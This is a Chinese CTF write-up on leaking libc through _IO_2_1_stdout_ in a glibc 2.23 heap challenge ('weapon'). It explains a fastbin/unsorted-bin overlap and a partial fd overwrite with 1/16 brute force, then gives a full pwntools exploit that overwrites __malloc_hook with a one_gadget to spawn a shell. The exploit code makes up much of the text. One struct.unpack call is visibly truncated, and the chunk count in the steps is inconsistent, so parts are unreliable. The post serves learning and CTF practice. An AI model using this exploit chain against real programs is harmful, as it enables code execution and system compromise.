第一次接触通过利用_IO_2_1_stdout_ 来泄露libc地址的题目,中间碰到不少问题,在这里记录一下
1.泄露libc
由于程序限制了创建的堆块大小为0x60 以内,所以无法同通过创建一个大小能放入unsortedbin中的堆块,但是可以通过伪造一个大小符合unsortedbin中的堆块来泄露libc地址
具体步骤:
1.创建五个大小为0x20堆块 编号依次为0-5, 之后一次释放chunk0, chunk1
那么fastbin中的bin结构为
0x20:chunk1->chunk0-> …
2.修改chunk1的fd指针的低一位字节为’\x10’, 让chunk1的fd指针指向chunk0的data区, 之后再创建两个chunk,编号为6,7
那么chunk7 的地址就是chunk0 的data区的地址
3.修改chunk0的data区为p64(0) + p64(0x71) ,这样chunk7的大小被修改为0x71,再释放掉
那么fastbin中的bin结构为
0x70: &chunk7-> …
4.修改chunk0的data区为p64(0) + p64(0xb1), 处理方法同上
这是chunk7既存在于fastbin中又存在于unsortedbin中
这是修改chunk7 的fd指针的低两位字节’\xdd\xa5’,
为什么是0xa5dd?
libc-2.23版本的stdout的地址的低三位固定为0x620, 由于从fastbin分配堆块的时候会检查堆块的大小,若不符合则会出现memory corruption之类的作物,所以要在_IO_2_1_stdout_ 中伪造一个大小为0x71的堆块,而地址中的开头一个字节0x7f正好符合(低位是标志位,不计入大小), 用0x620 减去伪造的堆块的偏移即为0x5dd,
前面还有加a的原因是 由于地址随机化的原因,低三位字节可以确定,但是低位字节的第四位是随机的,要爆破,概率是十六分之一,挺高的
之后再chunk0 的堆块大小修改回0x71
5.之后再创建两个堆块,往_IO_2_1_stdout_ 中写入我们布置好的数据,
‘\x00’*0x33 + p64(0xfbad1800) + p64(0)*3 + ‘\x00’
至于为什么flags要覆盖位0xfbad1800 现在不清楚,没读过libc源码,打算之后去读libc源码,然后再回来搞懂这个问题
6.利用puts函数来输出libc地址
泄露libc地址之后就是常规的操作了,往malloc_hook中写入one_gadget 地址之后getshell
from pwn import *
import struct
context(arch='amd64', os='linux', log_level='debug')
debug = 0
d = 1
if debug == 0:
p = process("./weapon")
if d == 1:
gdb.attach(p)
def create(size, index, name):
p.sendlineafter("choice >>", "1")
p.sendlineafter("wlecome input your size of weapon: ", str(size))
p.sendlineafter("input index: ", str(index))
p.sendafter("input your name:", name)
def delete(index):
p.sendlineafter("choice >>", "2")
p.sendlineafter("input idx :", str(index))
def rename(index, content):
p.sendlineafter("choice >>", "3")
p.sendlineafter("input idx: ", str(index))
p.sendafter("new content:", content)
create(0x18, 0, "aaa")
create(0x18, 1, 'b'*0x10 + p64(0x21))
create(0x18, 2, "ccc")
create(0x18, 3, 'd'*0x10 + p64(0x71))
create(0x18, 4, "eee")
create(0x18, 5, "fff")
create(0x18, 7, "hhh")
delete(0)
delete(1)
rename(1, '\x10')
rename(0, p64(0) + p64(0x21))
create(0x18, 1, "bbb")
create(0x18, 8, "fff")
rename(0, p64(0) + p64(0x71))
delete(8)
rename(0, p64(0) + p64(0xb1))
delete(8)
rename(8, '\xdd\xa5')
rename(0, p64(0) + p64(0x71))
create(0x60, 4, "123456")
create(0x60, 4, 'emmm')
rename(4, '\x00'*0x33 + p64(0xfbad1800) + p64(0)*3 + '\x00')
p.recvuntil(p64(0xfbad1800) + p64(0)*3)
leak = p.recv(8)
leak = struct.unpack(", leak)[0]
print "leak-> " + hex(leak)
elf = ELF("./weapon")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
libc_base = leak - (0x7f745811a600 - 0x7f7457d55000)
malloc_hook = libc_base + libc.symbols['__malloc_hook']
print "malloc_hook-> " + hex(malloc_hook)
one_gadget = libc_base + 0xf1147
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
create(0x60, 0, "emmmmmmmm")
delete(0)
rename(0, p64(malloc_hook - 0x23))
create(0x60, 0, "bbb")
create(0x60, 1, '\x00'*0x13 + p64(one_gadget))
p.sendlineafter("choice >>", "1")
p.sendlineafter("wlecome input your size of weapon: ", "1")
p.sendlineafter("input index: ", "2")
p.interactive()
参考链接:
利用stdout来处理无leak的堆题
从一题看IO_file to leak